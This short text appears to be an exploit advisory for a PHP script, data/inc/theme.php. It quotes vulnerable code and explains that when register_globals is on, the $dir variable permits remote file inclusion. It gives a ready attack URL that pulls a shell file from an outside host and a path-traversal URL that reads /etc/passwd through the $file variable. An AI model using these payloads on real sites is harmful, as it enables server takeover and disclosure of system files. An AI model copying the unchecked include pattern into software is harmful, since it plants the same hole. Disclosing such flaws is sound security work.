if Register_global was set as ON then we can use the $dir variable for RFI

(is_file($dir."/".$file))
               $files[]=$file;
           else
               $dirs[]=$dir."/".$file;           
       }
     }
   if($dirs) {

       foreach ($dirs as $dir) {
               include ("$dir/theme.php");


http://example.com/path/data/inc/theme.php?dir=http://site/shell.ext?



-----------------------------------------------------


fputs($file, "<?php \$themepref = \"$cont\"; ?>");  


if Register_global was set as ON then we can use the $file variable for disclosure.

example:
http://example.com/path/data/inc/theme.php?file=../../../../etc/passwd (DEPENDS on server)
